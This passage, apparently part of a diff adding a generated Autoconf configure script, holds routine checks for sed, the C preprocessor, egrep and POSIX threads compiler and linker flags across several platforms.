>>confdefs.h + +fi + if test $ac_cv_should_define__xopen_source = yes +then : + printf "%s\n" "#define _XOPEN_SOURCE 500" >>confdefs.h + +fi + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for a sed that does not truncate output" >&5 +printf %s "checking for a sed that does not truncate output... " >&6; } +if test ${ac_cv_path_SED+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_script=s/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/ + for ac_i in 1 2 3 4 5 6 7; do + ac_script="$ac_script$as_nl$ac_script" + done + echo "$ac_script" 2>/dev/null | sed 99q >conftest.sed + { ac_script=; unset ac_script;} + if test -z "$SED"; then + ac_path_SED_found=false + # Loop through the user's path and test for each of PROGNAME-LIST + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_prog in sed gsed + do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_SED="$as_dir$ac_prog$ac_exec_ext" + as_fn_executable_p "$ac_path_SED" || continue +# Check for GNU ac_path_SED and select it if it is found. + # Check for GNU $ac_path_SED +case `"$ac_path_SED" --version 2>&1` in #( +*GNU*) + ac_cv_path_SED="$ac_path_SED" ac_path_SED_found=:;; +#( +*) + ac_count=0 + printf %s 0123456789 >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + printf "%s\n" '' >> "conftest.nl" + "$ac_path_SED" -f conftest.sed < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + as_fn_arith $ac_count + 1 && ac_count=$as_val + if test $ac_count -gt ${ac_path_SED_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_SED="$ac_path_SED" + ac_path_SED_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + $ac_path_SED_found && break 3 + done + done + done +IFS=$as_save_IFS + if test -z "$ac_cv_path_SED"; then + as_fn_error $? "no acceptable sed could be found in \$PATH" "$LINENO" 5 + fi +else + ac_cv_path_SED=$SED +fi + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_SED" >&5 +printf "%s\n" "$ac_cv_path_SED" >&6; } + SED="$ac_cv_path_SED" + rm -f conftest.sed + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking how to run the C preprocessor" >&5 +printf %s "checking how to run the C preprocessor... " >&6; } +# On Suns, sometimes $CPP names a directory. +if test -n "$CPP" && test -d "$CPP"; then + CPP= +fi +if test -z "$CPP"; then + if test ${ac_cv_prog_CPP+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) # Double quotes because $CC needs to be expanded + for CPP in "$CC -E" "$CC -E -traditional-cpp" cpp /lib/cpp + do + ac_preproc_ok=false +for ac_c_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include + Syntax error +_ACEOF +if ac_fn_c_try_cpp "$LINENO" +then : + +else case e in #( + e) # Broken: fails on valid input. +continue ;; +esac +fi +rm -f conftest.err conftest.i conftest.$ac_ext + + # OK, works on sane cases. Now check whether nonexistent headers + # can be detected and how. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +_ACEOF +if ac_fn_c_try_cpp "$LINENO" +then : + # Broken: success on invalid input. +continue +else case e in #( + e) # Passes both tests. +ac_preproc_ok=: +break ;; +esac +fi +rm -f conftest.err conftest.i conftest.$ac_ext + +done +# Because of 'break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.i conftest.err conftest.$ac_ext +if $ac_preproc_ok +then : + break +fi + + done + ac_cv_prog_CPP=$CPP + ;; +esac +fi + CPP=$ac_cv_prog_CPP +else + ac_cv_prog_CPP=$CPP +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CPP" >&5 +printf "%s\n" "$CPP" >&6; } +ac_preproc_ok=false +for ac_c_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include + Syntax error +_ACEOF +if ac_fn_c_try_cpp "$LINENO" +then : + +else case e in #( + e) # Broken: fails on valid input. +continue ;; +esac +fi +rm -f conftest.err conftest.i conftest.$ac_ext + + # OK, works on sane cases. Now check whether nonexistent headers + # can be detected and how. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +_ACEOF +if ac_fn_c_try_cpp "$LINENO" +then : + # Broken: success on invalid input. +continue +else case e in #( + e) # Passes both tests. +ac_preproc_ok=: +break ;; +esac +fi +rm -f conftest.err conftest.i conftest.$ac_ext + +done +# Because of 'break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.i conftest.err conftest.$ac_ext +if $ac_preproc_ok +then : + +else case e in #( + e) { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in '$ac_pwd':" >&2;} +as_fn_error $? "C preprocessor \"$CPP\" fails sanity check +See 'config.log' for more details" "$LINENO" 5; } ;; +esac +fi + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for egrep -e" >&5 +printf %s "checking for egrep -e... " >&6; } +if test ${ac_cv_path_EGREP_TRADITIONAL+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -z "$EGREP_TRADITIONAL"; then + ac_path_EGREP_TRADITIONAL_found=false + # Loop through the user's path and test for each of PROGNAME-LIST + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_prog in grep ggrep + do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_EGREP_TRADITIONAL="$as_dir$ac_prog$ac_exec_ext" + as_fn_executable_p "$ac_path_EGREP_TRADITIONAL" || continue +# Check for GNU ac_path_EGREP_TRADITIONAL and select it if it is found. + # Check for GNU $ac_path_EGREP_TRADITIONAL +case `"$ac_path_EGREP_TRADITIONAL" --version 2>&1` in #( +*GNU*) + ac_cv_path_EGREP_TRADITIONAL="$ac_path_EGREP_TRADITIONAL" ac_path_EGREP_TRADITIONAL_found=:;; +#( +*) + ac_count=0 + printf %s 0123456789 >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + printf "%s\n" 'EGREP_TRADITIONAL' >> "conftest.nl" + "$ac_path_EGREP_TRADITIONAL" -E 'EGR(EP|AC)_TRADITIONAL$' < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + as_fn_arith $ac_count + 1 && ac_count=$as_val + if test $ac_count -gt ${ac_path_EGREP_TRADITIONAL_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_EGREP_TRADITIONAL="$ac_path_EGREP_TRADITIONAL" + ac_path_EGREP_TRADITIONAL_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + $ac_path_EGREP_TRADITIONAL_found && break 3 + done + done + done +IFS=$as_save_IFS + if test -z "$ac_cv_path_EGREP_TRADITIONAL"; then + : + fi +else + ac_cv_path_EGREP_TRADITIONAL=$EGREP_TRADITIONAL +fi + + if test "$ac_cv_path_EGREP_TRADITIONAL" +then : + ac_cv_path_EGREP_TRADITIONAL="$ac_cv_path_EGREP_TRADITIONAL -E" +else case e in #( + e) if test -z "$EGREP_TRADITIONAL"; then + ac_path_EGREP_TRADITIONAL_found=false + # Loop through the user's path and test for each of PROGNAME-LIST + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_prog in egrep + do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_EGREP_TRADITIONAL="$as_dir$ac_prog$ac_exec_ext" + as_fn_executable_p "$ac_path_EGREP_TRADITIONAL" || continue +# Check for GNU ac_path_EGREP_TRADITIONAL and select it if it is found. + # Check for GNU $ac_path_EGREP_TRADITIONAL +case `"$ac_path_EGREP_TRADITIONAL" --version 2>&1` in #( +*GNU*) + ac_cv_path_EGREP_TRADITIONAL="$ac_path_EGREP_TRADITIONAL" ac_path_EGREP_TRADITIONAL_found=:;; +#( +*) + ac_count=0 + printf %s 0123456789 >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + printf "%s\n" 'EGREP_TRADITIONAL' >> "conftest.nl" + "$ac_path_EGREP_TRADITIONAL" 'EGR(EP|AC)_TRADITIONAL$' < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + as_fn_arith $ac_count + 1 && ac_count=$as_val + if test $ac_count -gt ${ac_path_EGREP_TRADITIONAL_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_EGREP_TRADITIONAL="$ac_path_EGREP_TRADITIONAL" + ac_path_EGREP_TRADITIONAL_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + $ac_path_EGREP_TRADITIONAL_found && break 3 + done + done + done +IFS=$as_save_IFS + if test -z "$ac_cv_path_EGREP_TRADITIONAL"; then + as_fn_error $? "no acceptable egrep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 + fi +else + ac_cv_path_EGREP_TRADITIONAL=$EGREP_TRADITIONAL +fi + ;; +esac +fi ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP_TRADITIONAL" >&5 +printf "%s\n" "$ac_cv_path_EGREP_TRADITIONAL" >&6; } + EGREP_TRADITIONAL=$ac_cv_path_EGREP_TRADITIONAL + +case $enable_threads in #( + posix) : + + echo + echo "POSIX threading support:" + + + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +ax_pthread_ok=no + +# We used to check for pthread.h first, but this fails if pthread.h +# requires special compiler flags (e.g. on Tru64 or Sequent). +# It gets checked for in the link test anyway. + +# First of all, check if the user has set any of the PTHREAD_LIBS, +# etcetera environment variables, and if threads linking works using +# them: +if test "x$PTHREAD_CFLAGS$PTHREAD_LIBS" != "x"; then + ax_pthread_save_CC="$CC" + ax_pthread_save_CFLAGS="$CFLAGS" + ax_pthread_save_LIBS="$LIBS" + if test "x$PTHREAD_CC" != "x" +then : + CC="$PTHREAD_CC" +fi + if test "x$PTHREAD_CXX" != "x" +then : + CXX="$PTHREAD_CXX" +fi + CFLAGS="$CFLAGS $PTHREAD_CFLAGS" + LIBS="$PTHREAD_LIBS $LIBS" + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for pthread_join using $CC $PTHREAD_CFLAGS $PTHREAD_LIBS" >&5 +printf %s "checking for pthread_join using $CC $PTHREAD_CFLAGS $PTHREAD_LIBS... " >&6; } + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. + The 'extern "C"' is for builds by C++ compilers; + although this is not generally supported in C code supporting it here + has little cost and some practical benefit (sr 110532). */ +#ifdef __cplusplus +extern "C" +#endif +char pthread_join (void); +int +main (void) +{ +return pthread_join (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ax_pthread_ok=yes +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ax_pthread_ok" >&5 +printf "%s\n" "$ax_pthread_ok" >&6; } + if test "x$ax_pthread_ok" = "xno"; then + PTHREAD_LIBS="" + PTHREAD_CFLAGS="" + fi + CC="$ax_pthread_save_CC" + CFLAGS="$ax_pthread_save_CFLAGS" + LIBS="$ax_pthread_save_LIBS" +fi + +# We must check for the threads library under a number of different +# names; the ordering is very important because some systems +# (e.g. DEC) have both -lpthread and -lpthreads, where one of the +# libraries is broken (non-POSIX). + +# Create a list of thread flags to try. Items with a "," contain both +# C compiler flags (before ",") and linker flags (after ","). Other items +# starting with a "-" are C compiler flags, and remaining items are +# library names, except for "none" which indicates that we try without +# any flags at all, and "pthread-config" which is a program returning +# the flags for the Pth emulation library. + +ax_pthread_flags="pthreads none -Kthread -pthread -pthreads -mthreads pthread --thread-safe -mt pthread-config" + +# The ordering *is* (sometimes) important. Some notes on the +# individual items follow: + +# pthreads: AIX (must check this before -lpthread) +# none: in case threads are in libc; should be tried before -Kthread and +# other compiler flags to prevent continual compiler warnings +# -Kthread: Sequent (threads in libc, but -Kthread needed for pthread.h) +# -pthread: Linux/gcc (kernel threads), BSD/gcc (userland threads), Tru64 +# (Note: HP C rejects this with "bad form for `-t' option") +# -pthreads: Solaris/gcc (Note: HP C also rejects) +# -mt: Sun Workshop C (may only link SunOS threads [-lthread], but it +# doesn't hurt to check since this sometimes defines pthreads and +# -D_REENTRANT too), HP C (must be checked before -lpthread, which +# is present but should not be used directly; and before -mthreads, +# because the compiler interprets this as "-mt" + "-hreads") +# -mthreads: Mingw32/gcc, Lynx/gcc +# pthread: Linux, etcetera +# --thread-safe: KAI C++ +# pthread-config: use pthread-config program (for GNU Pth library) + +case $host_os in + + freebsd*) + + # -kthread: FreeBSD kernel threads (preferred to -pthread since SMP-able) + # lthread: LinuxThreads port on FreeBSD (also preferred to -pthread) + + ax_pthread_flags="-kthread lthread $ax_pthread_flags" + ;; + + hpux*) + + # From the cc(1) man page: "[-mt] Sets various -D flags to enable + # multi-threading and also sets -lpthread." + + ax_pthread_flags="-mt -pthread pthread $ax_pthread_flags" + ;; + + openedition*) + + # IBM z/OS requires a feature-test macro to be defined in order to + # enable POSIX threads at all, so give the user a hint if this is + # not set. (We don't define these ourselves, as they can affect + # other portions of the system API in unpredictable ways.) + + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +# if !defined(_OPEN_THREADS) && !defined(_UNIX03_THREADS) + AX_PTHREAD_ZOS_MISSING +# endif + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP_TRADITIONAL "AX_PTHREAD_ZOS_MISSING" >/dev/null 2>&1 +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: IBM z/OS requires -D_OPEN_THREADS or -D_UNIX03_THREADS to enable pthreads support." >&5 +printf "%s\n" "$as_me: WARNING: IBM z/OS requires -D_OPEN_THREADS or -D_UNIX03_THREADS to enable pthreads support." >&2;} +fi +rm -rf conftest* + + ;; + + solaris*) + + # On Solaris (at least, for some versions), libc contains stubbed + # (non-functional) versions of the pthreads routines, so link-based + # tests will erroneously succeed. (N.B.: The stubs are missing + # pthread_cleanup_push, or rather a function called by this macro, + # so we could check for that, but who knows whether they'll stub + # that too in a future libc.) So we'll check first for the + # standard Solaris way of linking pthreads (-mt -lpthread). + + ax_pthread_flags="-mt,-lpthread pthread $ax_pthread_flags" + ;; +esac + +# Are we compiling with Clang? + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $CC is Clang" >&5 +printf %s "checking whether $CC is Clang... " >&6; } +if test ${ax_cv_PTHREAD_CLANG+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ax_cv_PTHREAD_CLANG=no + # Note that Autoconf sets GCC=yes for Clang as well as GCC + if test "x$GCC" = "xyes"; then + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +/* Note: Clang 2.7 lacks __clang_[a-z]+__ */ +# if defined(__clang__) && defined(__llvm__) + AX_PTHREAD_CC_IS_CLANG +# endif + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP_TRADITIONAL "AX_PTHREAD_CC_IS_CLANG" >/dev/null 2>&1 +then : + ax_cv_PTHREAD_CLANG=yes +fi +rm -rf conftest* + + fi + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ax_cv_PTHREAD_CLANG" >&5 +printf "%s\n" "$ax_cv_PTHREAD_CLANG" >&6; } +ax_pthread_clang="$ax_cv_PTHREAD_CLANG" + + +# GCC generally uses -pthread, or -pthreads on some platforms (e.g. SPARC) + +# Note that for GCC and Clang -pthread generally implies -lpthread, +# except when -nostdlib is passed. +# This is problematic using libtool to build C++ shared libraries with pthread: +# [1] https://gcc.gnu.org/bugzilla/show_bug.cgi?id=25460 +# [2] https://bugzilla.redhat.com/show_bug.cgi?id=661333 +# [3] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=468555 +# To solve this, first try -pthread together with -lpthread for GCC + +if test "x$GCC" = "xyes" +then : + ax_pthread_flags="-pthread,-lpthread -pthread -pthreads $ax_pthread_flags" +fi + +# Clang takes -pthread (never supported any other flag), but we'll try with -lpthread first + +if test "x$ax_pthread_clang" = "xyes" +then : + ax_pthread_flags="-pthread,-lpthread -pthread" +fi + + +# The presence of a feature test macro requesting re-entrant function +# definitions is, on some systems, a strong hint that pthreads support is +# correctly enabled + +case $host_os in + darwin* | hpux* | linux* | osf* | solaris*) + ax_pthread_check_macro="_REENTRANT" + ;; + + aix*) + ax_pthread_check_macro="_THREAD_SAFE" + ;; + + *) + ax_pthread_check_macro="--" + ;; +esac +if test "x$ax_pthread_check_macro" = "x--" +then : + ax_pthread_check_cond=0 +else case e in #( + e) ax_pthread_check_cond="!defined($ax_pthread_check_macro)" ;; +esac +fi + + +if test "x$ax_pthread_ok" = "xno"; then +for ax_pthread_try_flag in $ax_pthread_flags; do + + case $ax_pthread_try_flag in + none) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether pthreads work without any flags" >&5 +printf %s "checking whether pthreads work without any flags... " >&6; } + ;; + + *,*) + PTHREAD_CFLAGS=`echo $ax_pthread_try_flag | sed "s/^\(.*\),\(.*\)$/\1/"` + PTHREAD_LIBS=`echo $ax_pthread_try_flag | sed "s/^\(.*\),\(.*\)$/\2/"` + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether pthreads work with \"$PTHREAD_CFLAGS\" and \"$PTHREAD_LIBS\"" >&5 +printf %s "checking whether pthreads work with \"$PTHREAD_CFLAGS\" and \"$PTHREAD_LIBS\"... " >&6; } + ;; + + -*) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether pthreads work with $ax_pthread_try_flag" >&5 +printf %s "checking whether pthreads work with $ax_pthread_try_flag... " >&6; } + PTHREAD_CFLAGS="$ax_pthread_try_flag" + ;; + + pthread-config) + # Extract the first word of "pthread-config", so it can be a program name with args. +set dummy pthread-config; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ax_pthread_config+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ax_pthread_config"; then + ac_cv_prog_ax_pthread_config="$ax_pthread_config" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ax_pthread_config="yes" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + + test -z "$ac_cv_prog_ax_pthread_config" && ac_cv_prog_ax_pthread_config="no" +fi ;; +esac +fi +ax_pthread_config=$ac_cv_prog_ax_pthread_config +if test -n "$ax_pthread_config"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ax_pthread_config" >&5 +printf "%s\n" "$ax_pthread_config" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + if test "x$ax_pthread_config" = "xno" +then : + continue +fi + PTHREAD_CFLAGS="`pthread-config --cflags`" + PTHREAD_LIBS="`pthread-config --ldflags` `pthread-config --libs`" + ;; + + *) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for the pthreads library -l$ax_pthread_try_flag" >&5 +printf %s "checking for the pthreads library -l$ax_pthread_try_flag... " >&6; } + PTHREAD_LIBS="-l$ax_pthread_try_flag" + ;; + esac + + ax_pthread_save_CFLAGS="$CFLAGS" + ax_pthread_save_LIBS="$LIBS" + CFLAGS="$CFLAGS $PTHREAD_CFLAGS" + LIBS="$PTHREAD_LIBS $LIBS" + + # Check for various functions. We must include pthread.h, + # since some functions may be macros. (On the Sequent, we + # need a special flag -Kthread to make this header compile.) + # We check for pthread_join because it is in -lpthread on IRIX + # while pthread_create is in libc. We check for pthread_attr_init + # due to DEC craziness with -lpthreads. We check for + # pthread_cleanup_push because it is one of the few pthread + # functions on Solaris that doesn't have a non-functional libc stub. + # We try pthread_create on general principles. + + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +# if $ax_pthread_check_cond +# error "$ax_pthread_check_macro must be defined" +# endif + static void *some_global = NULL; + static void routine(void *a) + { + /* To avoid any unused-parameter or + unused-but-set-parameter warning. */ + some_global = a; + } + static void *start_routine(void *a) { return a; } +int +main (void) +{ +pthread_t th; pthread_attr_t attr; + pthread_create(&th, 0, start_routine, 0); + pthread_join(th, 0); + pthread_attr_init(&attr); + pthread_cleanup_push(routine, 0); + pthread_cleanup_pop(0) /* ; */ + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ax_pthread_ok=yes +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + + CFLAGS="$ax_pthread_save_CFLAGS" + LIBS="$ax_pthread_save_LIBS" + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ax_pthread_ok" >&5 +printf "%s\n" "$ax_pthread_ok" >&6; } + if test "x$ax_pthread_ok" = "xyes" +then : + break +fi + + PTHREAD_LIBS="" + PTHREAD_CFLAGS="" +done +fi + + +# Clang needs special handling, because older versions handle the -pthread +# option in a rather... idiosyncratic way + +if test "x$ax_pthread_clang" = "xyes"; then + + # Clang takes -pthread; it has never supported any other flag + + # (Note 1: This will need to be revisited if a system that Clang + # supports has POSIX threads in a separate library. This tends not + # to be the way of modern systems, but it's conceivable.) + + # (Note 2: On some systems, notably Darwin, -pthread is not needed + # to get POSIX threads support; the API is always present and + # active. We could reasonably leave PTHREAD_CFLAGS empty. But + # -pthread does define _REENTRANT, and while the Darwin headers + # ignore this macro, third-party headers might not.) + + # However, older versions of Clang make a point of warning the user + # that, in an invocation where only linking and no compilation is + # taking place, the -pthread option has no effect ("argument unused + # during compilation"). They expect -pthread to be passed in only + # when source code is being compiled. + # + # Problem is, this is at odds with the way Automake and most other + # C build frameworks function, which is that the same flags used in + # compilation (CFLAGS) are also used in linking. Many systems + # supported by AX_PTHREAD require exactly this for POSIX threads + # support, and in fact it is often not straightforward to specify a + # flag that is used only in the compilation phase and not in + # linking. Such a scenario is extremely rare in practice. + # + # Even though use of the -pthread flag in linking would only print + # a warning, this can be a nuisance for well-run software projects + # that build with -Werror. So if the active version of Clang has + # this misfeature, we search for an option to squash it. + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether Clang needs flag to prevent \"argument unused\" warning when linking with -pthread" >&5 +printf %s "checking whether Clang needs flag to prevent \"argument unused\" warning when linking with -pthread... " >&6; } +if test ${ax_cv_PTHREAD_CLANG_NO_WARN_FLAG+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ax_cv_PTHREAD_CLANG_NO_WARN_FLAG=unknown + # Create an alternate version of $ac_link that compiles and + # links in two steps (.c -> .o, .o -> exe) instead of one + # (.c -> exe), because the warning occurs only in the second + # step + ax_pthread_save_ac_link="$ac_link" + ax_pthread_sed='s/conftest\.\$ac_ext/conftest.$ac_objext/g' + ax_pthread_link_step=`printf "%s\n" "$ac_link" | sed "$ax_pthread_sed"` + ax_pthread_2step_ac_link="($ac_compile) && (echo ==== >&5) && ($ax_pthread_link_step)" + ax_pthread_save_CFLAGS="$CFLAGS" + for ax_pthread_try in '' -Qunused-arguments -Wno-unused-command-line-argument unknown; do + if test "x$ax_pthread_try" = "xunknown" +then : + break +fi + CFLAGS="-Werror -Wunknown-warning-option $ax_pthread_try -pthread $ax_pthread_save_CFLAGS" + ac_link="$ax_pthread_save_ac_link" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +int main(void){return 0;} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ac_link="$ax_pthread_2step_ac_link" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +int main(void){return 0;} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + break +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + done + ac_link="$ax_pthread_save_ac_link" + CFLAGS="$ax_pthread_save_CFLAGS" + if test "x$ax_pthread_try" = "x" +then : + ax_pthread_try=no +fi + ax_cv_PTHREAD_CLANG_NO_WARN_FLAG="$ax_pthread_try" + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ax_cv_PTHREAD_CLANG_NO_WARN_FLAG" >&5 +printf "%s\n" "$ax_cv_PTHREAD_CLANG_NO_WARN_FLAG" >&6; } + + case "$ax_cv_PTHREAD_CLANG_NO_WARN_FLAG" in + no | unknown) ;; + *) PTHREAD_CFLAGS="$ax_cv_PTHREAD_CLANG_NO_WARN_FLAG $PTHREAD_CFLAGS" ;; + esac + +fi # $ax_pthread_clang = yes + + + +# Various other checks: +if test "x$ax_pthread_ok" = "xyes"; then + ax_pthread_save_CFLAGS="$CFLAGS" + ax_pthread_save_LIBS="$LIBS" + CFLAGS="$CFLAGS $PTHREAD_CFLAGS" + LIBS="$PTHREAD_LIBS $LIBS" + + # Detect AIX lossage: JOINABLE attribute is called UNDETACHED. + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for joinable pthread attribute" >&5 +printf %s "checking for joinable pthread attribute... " >&6; } +if test ${ax_cv_PTHREAD_JOINABLE_ATTR+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ax_cv_PTHREAD_JOINABLE_ATTR=unknown + for ax_pthread_attr in PTHREAD_CREATE_JOINABLE PTHREAD_CREATE_UNDETACHED; do + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +int +main (void) +{ +int attr = $ax_pthread_attr; return attr /* ; */ + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ax_cv_PTHREAD_JOINABLE_ATTR=$ax_pthread_attr; break +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + done + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ax_cv_PTHREAD_JOINABLE_ATTR" >&5 +printf "%s\n" "$ax_cv_PTHREAD_JOINABLE_ATTR" >&6; } + if test "x$ax_cv_PTHREAD_JOINABLE_ATTR" != "xunknown" && \ + test "x$ax_cv_PTHREAD_JOINABLE_ATTR" != "xPTHREAD_CREATE_JOINABLE" && \ + test "x$ax_pthread_joinable_attr_defined" != "xyes" +then : + +printf "%s\n" "#define PTHREAD_CREATE_JOINABLE $ax_cv_PTHREAD_JOINABLE_ATTR" 